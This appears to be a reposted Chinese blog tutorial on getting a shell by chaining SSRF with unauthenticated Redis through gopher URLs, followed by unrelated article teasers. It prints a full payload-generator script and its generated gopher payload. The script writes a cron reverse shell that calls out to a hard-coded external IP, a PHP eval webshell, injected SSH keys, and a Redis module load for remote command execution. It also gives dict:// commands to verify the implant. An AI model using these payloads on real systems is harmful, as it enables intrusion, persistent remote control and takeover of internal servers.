SSRF+Redis未授权getshell

news2024/11/16 3:36:03

SSRF+Redis未授权getshell

1.前言

当一个网站具有ssrf漏洞,如果没有一些过滤措施,比如没过滤file协议,gophere协议,dict等协议,就会导致无法访问的内网服务器信息泄露,甚至可以让攻击者拿下内网服务器权限

2.文章主要内容

这里就不讲file协议去获取内网服务器的信息了,也不讲dict协议原理,这些直接百度了解即可,直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell

3.条件

  1. 目标内网机器出网
  2. redis可以未授权访问(或者具有redis密码)。

4.思路

如果想getshell,无非就是让目标主机反弹连接到我们的服务器,那么就需要借助目标主机的定时任务了,由于目标主机具有redis未授权访问漏洞,并且redis有这样一个特性,就是可以将数据快照信息覆盖到服务器的目录中,如果你直接可以通过redis客户端连接目标的redis执行命令,那么实现反弹shell的具体的操作命令如下:

set lucy "\n\n*/1 * * * * bash -i >& /dev/tcp/154.90.63.50/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

但是,由于目标在内网,我们通过redis客户端肯定是访问不到的,所以就必须借组具有ssrf漏洞的web服务器,将web服务器作为跳板,让他帮我们操作内网的redis即可。

那么,如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢,如果不是通过redis客户端操作,肯定不能用上面这么简单的命令了,因为我们让web服务器帮我们发送payload的时候使用的是tcp协议,然而真正内网主机中reedis执行的命令协议比较复杂,有一定的规则,因此我们要将我们的payload转换一下格式,借组gopher协议发送payload

5.payload转gopher协议

这里就要用到github上一个大佬的工具了

https://github.com/xmsec/redis-ssrf,其中我们只需要使用ssrf-redis.py文件即可,对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload,下面我把大佬的ssrf-redis.py文件贴出来(我对一些地方进行了修改):

要修改的地方:

  1. 第140行的IP,要修改为你要攻击的内网IP
  2. 第141的port,修改为目标redis开放端口,默认是6379
  3. 第157行的mode改为1
  4. 第160行的passwd,如果对方redis有密码并且你必须知道,就需要设置为目标的redis密码
  5. 第112行,需要修改定时任务文件名,一般为root
  6. 第113行,要修改定时任务文件所在目录,一般为/var/spool/cron/,当然有的机器的目录会不一样,可以百度搜索常见目录
  7. 第114行,就是定时任务的反弹shell了,根据你的监听服务器,监听端口进行修改即可,这个定时任务是每分钟一次
#!/usr/local/bin python
#coding=utf8

try:
    from urllib import quote
except:
    from urllib.parse import quote

def generate_info(passwd):
    
    cmd=[
        "info",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_shell(filename,path,passwd,payload):
    
    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def generate_reverse(filename,path,passwd,payload): # centos

    cmd=["flushall",
        "set lucy {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_sshkey(filename,path,passwd,payload):

    cmd=["flushall",
        "set 1 {}".format(payload),
        "config set dir {}".format(path),
        "config set dbfilename {}".format(filename),
        "save",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd
    
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):

    exp_filename="exp.so"
    cmd=[
        "SLAVEOF {} {}".format(lhost,lport),
        "CONFIG SET dir /tmp/",
        "config set dbfilename {}".format(exp_filename),
        "MODULE LOAD /tmp/{}".format(exp_filename),
        "system.exec {}".format(command.replace(" ","${IFS}")),
        # "SLAVEOF NO ONE",
        # "CONFIG SET dbfilename dump.rdb",
        # "system.exec rm${IFS}/tmp/{}".format(exp_filename),
        # "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def rce_cleanup():
    exp_filename="exp.so"
    cmd=[
        "SLAVEOF NO ONE",
        "CONFIG SET dbfilename dump.rdb",
        "system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
        "MODULE UNLOAD system",
        "quit"
        ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    return cmd

def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x)))+CRLF+x
    cmd+=CRLF
    return cmd

def generate_payload(passwd,mode):

    payload="test"

    if mode ==0:
        filename="shell.php"
        path="/var/www/html"
        shell="\n\n<?=eval($_GET[0]);?>\n\n"

        cmd=generate_shell(filename,path,passwd,shell)

    elif mode==1: 
        filename="root"
        path="/var/spool/cron/"
        shell="\n\n*/1 * * * * bash -i >& /dev/tcp/154.66.63.60/2333 0>&1\n\n"

        cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))

    elif mode==2:
        filename="authorized_keys"
        path="/root/.ssh/"
        pubkey="\n\nssh-rsa "

        cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))
        
    elif mode==3:
        lhost="192.168.1.100"
        lport="6666"
        command="whoami"

        cmd=generate_rce(lhost,lport,passwd,command)

    elif mode==31:
        cmd=rce_cleanup()

    elif mode==4:
        cmd=generate_info(passwd)

    protocol="gopher://"

    ip="172.18.240.7"
    port="6379"

    payload=protocol+ip+":"+port+"/_"

    for x in cmd:
        payload += quote(redis_format(x).replace("^"," "))
    return payload

    

if __name__=="__main__":   

    # 0 for webshell ; 1 for re shell ; 2 for ssh key ; 
    # 3 for redis rce ; 31 for rce clean up
    # 4 for info
    # suggest cleaning up when mode 3 used
    mode=1

    # input auth passwd or leave blank for no pw
    passwd = '' 

    p=generate_payload(passwd,mode)
    print(p)

6.运行协议格式转换脚本

在根据你的目标,修改上面的脚本之后,运行脚本

python ssrf-redis.py

运行结果如下:

gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

这个结果就是我们最终的设置定时任务的反弹shell的payload,将这个payload放到具有ssrf漏洞的功能点发起请求即可。

如图,就是我们使用payload之后的回显结果,都是OK,说明所有命令执行成功,不放心的话可以继续下一步进行校验执行结果。

在这里插入图片描述

7.检查执行结果(自信的话可跳过此步骤)

为了确定我们的payload是否成功写入内网,可以利用dict协议进行检查,使用以下命令可以看内网主机的redis的key有哪些

dict://172.18.240.7:6379/keys *

如图所示,发现就有我们刚刚的python脚本中设置payload的lucy这个key

在这里插入图片描述

然后我们再利用dict协议,用以下命令去看看lucy对应的value

dict://172.18.240.7:6379/get lucy

如图所示,发现我们的反弹shell的定时任务成功写入

在这里插入图片描述

8.环境复现

上面的图中的靶场是某公司的面试题,我这里没有靶场环境,这个文章旨在提供思路,如果想复现类似的环境,可以参考下面的文章,这个文章就有环境搭建,不过不是我这篇文章的环境:

SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1595480.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Hadoop 3.1.3

第1章 Hadoop概述 1.1 Hadoop是什么 1.2 Hadoop发展历史&#xff08;了解&#xff09; 1.3 Hadoop三大发行版本&#xff08;了解&#xff09; Hadoop三大发行版本&#xff1a;Apache、Cloudera、Hortonworks。 Apache版本最原始&#xff08;最基础&#xff09;的版本&#x…

【学习笔记十一】EWM上架目标仓位确定过程及配置

一、EWM确定目标区域概述 1.EWM从仓库处理类型获取源仓库类型&#xff08;Source storage type&#xff09;和源仓位&#xff08;Source Bin&#xff09;2.EWM根据仓库类型&#xff08;storage type&#xff09;、仓库分区&#xff08;storage section&#xff09;和上架策略&a…

待研究技术

Fabric.js H5 Canvas的js库 Fabric.js是一个用于创建交互式的HTML5 Canvas应用程序的JavaScript库。它提供了一个简单而强大的API&#xff0c;用于在Web浏览器中绘制和操作图形对象。Fabric.js可以用于创建各种图形应用程序&#xff0c;例如绘图编辑器、图像编辑器、流程图、地…

做产品,我的转行+转岗经历

许多小伙伴在后台留言提到数据产品经理这个岗位&#xff0c;今天来给大家介绍一下数据产品的一些基本工作内容和流程&#xff0c;帮助大家了解。 之前写了一篇转行PM的历程文章&#xff0c;有很多像我当年一样在求职中的小伙伴私信我&#xff0c;这其中有应届生也有程序员&…

基于Springboot+Vue的Java项目-房产销售系统(附演示视频+源码+LW)

大家好&#xff01;我是程序员一帆&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &am…

雅虎、乐天、煤炉、国际站、newegg、wish等跨境卖家如何提升店铺销量?深度解析自养号测评的价值

一、如何提升销量&#xff1f; 优化产品描述和图片&#xff1a;确保您的产品描述准确、详细&#xff0c;图片清晰、美观。这将有助于提高产品的吸引力&#xff0c;增加潜在买家的购买意愿。 提供良好的客户服务&#xff1a;及时回复买家的咨询和问题&#xff0c;解决他们的疑…

Mixed-Query Transformer:统一的图像分割架构

Mixed-Query Transformer:统一的图像分割架构 摘要IntroductionRelated WorkMethodMQ-Former ArchitectureObject Query Strategies Mixed-Query Transformer: A Unified Image Segmentation Architectur 摘要 在现有的一体化图像分割模型中&#xff0c;要么在多个任务上采用统…

Linux系统编程---文件系统

一、文件存储 一个文件主要由两部分组成&#xff0c;dentry(目录项)和inode inode本质是结构体&#xff0c;存储文件的属性信息&#xff0c;如&#xff1a;权限、类型、大小、时间、用户、盘块位置… 也叫做文件属性管理结构&#xff0c;大多数的inode都存储在磁盘上。 少量…

NSA发布《在数据支柱中推进零信任成熟度》报告

4月9日&#xff0c;美国国家安全局&#xff08;NSA&#xff09;发布了题为《在数据支柱中推进零信任成熟度》的报告&#xff0c;旨在于数据安全层面提供指导&#xff0c;以增强数据整体安全性并保护静态和传输中的数据。(如下图&#xff09; 一、主要内容 报告中的建议侧重于将…

程序员可以兼职的项目

程序员可以兼职的项目 私信联系我&#xff1a;15049723876&#xff08;V&#xff09;

搜索引擎广告滥用的威胁日益严重

BlueVoyant 的一份新报告发现&#xff0c;威胁行为者正在利用搜索引擎内置的广告基础设施来对毫无戒心的用户进行网络钓鱼。该博客概述了日益增长的威胁以及如何保护自己。 恶意搜索引擎广告的使用呈上升趋势&#xff0c;对全球互联网用户和公司构成重大威胁。它不是将广告中的…

mysql 查询实战2-解答

看了mysql 查询实战2-题目-CSDN博客的题目&#xff0c;继续进行解答。 6、查询⽹站访问⾼峰期 目标&#xff1a; 查询网站访问高峰时期&#xff0c;高峰时期定义&#xff1a;至少连续三天访问量>1000 1&#xff0c;关联查询 要连续三天&#xff0c;至少要声明“自身”三个去…

二叉树经典OJ题(2)

一、根据二叉树创建字符串 . - 力扣&#xff08;LeetCode&#xff09; class Solution { public://前序遍历&#xff1a;根 左 右//左子树为空&#xff0c;右子树不为空的时候&#xff0c;不能省略左//左不为空&#xff0c;右子树为空的时候&#xff0c;可以省略右//都为空&am…

PaddleDetection 项目使用说明

PaddleDetection 项目使用说明 PaddleDetection 项目使用说明数据集处理相关模块环境搭建 PaddleDetection 项目使用说明 https://github.com/PaddlePaddle/PaddleDetection/blob/release/2.7/configs/ppyoloe/README_cn.md 自己项目&#xff1a; https://download.csdn.net/d…

ActiveMQ入门案例(queue模式和topic模式)

目录 前言&#xff1a;为什么使用消息中间件&#xff1f; 异步通信 缓冲 解耦 前提&#xff1a;安装并启动activemq 一、点对点&#xff08;point to point&#xff0c; queue&#xff09; 1.1 创建maven项目 1.2 Pom依赖 1.2 JmsProduce 消息生产者 1.3 JmsConsumer…

数据结构课程设计选做(三)---公共钥匙盒(线性表,栈,队列)

2.3.1 题目内容 2.3.1-A [问题描述] 有一个学校的老师共用N个教室&#xff0c;按照规定&#xff0c;所有的钥匙都必须放在公共钥匙盒里&#xff0c;老师不能带钥匙回家。每次老师上课前&#xff0c;都从公共钥匙盒里找到自己上课的教室的钥匙去开门&#xff0c;上完课后&…

FJSP:袋鼠群优化(Kangaroo Swarm Optimization ,KSO)算法求解柔性作业车间调度问题(FJSP),提供MATLAB代码

一、柔性作业车间调度问题 柔性作业车间调度问题&#xff08;Flexible Job Shop Scheduling Problem&#xff0c;FJSP&#xff09;&#xff0c;是一种经典的组合优化问题。在FJSP问题中&#xff0c;有多个作业需要在多个机器上进行加工&#xff0c;每个作业由一系列工序组成&a…

AliyunCTF 2024 - BadApple

文章目录 前言环境搭建漏洞分析漏洞利用参考 前言 本文首发于看雪论坛 https://bbs.kanxue.com/thread-281291.htm 依稀记得那晚被阿里CTF支配的恐惧&#xff0c;今年的阿里CTF笔者就做了一道签到PWN题&#xff0c;当时也是下定决心要学习 jsc pwn 然后复现这道 BadApple 题目…

Paper Reading: MixTeacher:半监督目标检测中利用混合尺度教师挖掘有前景的标签

目录 简介目标/动机工作重点方法训练 实验总结 简介 题目&#xff1a;《MixTeacher: Mining Promising Labels with Mixed Scale Teacher for Semi-Supervised Object Detection》&#xff0c; CVPR 2023 日期&#xff1a;2023.3.16 单位&#xff1a;腾讯&#xff0c;上海交…

Upload-labs(Pass-14 - Pass-16)

Pass-14 &#xff08;图片马&#xff0c;判断文件类型&#xff09; 图片的格式在防护中通常是不会使用后缀进行判断的依据&#xff0c;文件头是文件开头的一段二进制码&#xff0c;不同类型的图片也就会有不同的二进制头。   JPEG (jpg)&#xff0c;文件头&#xff1a;FF D…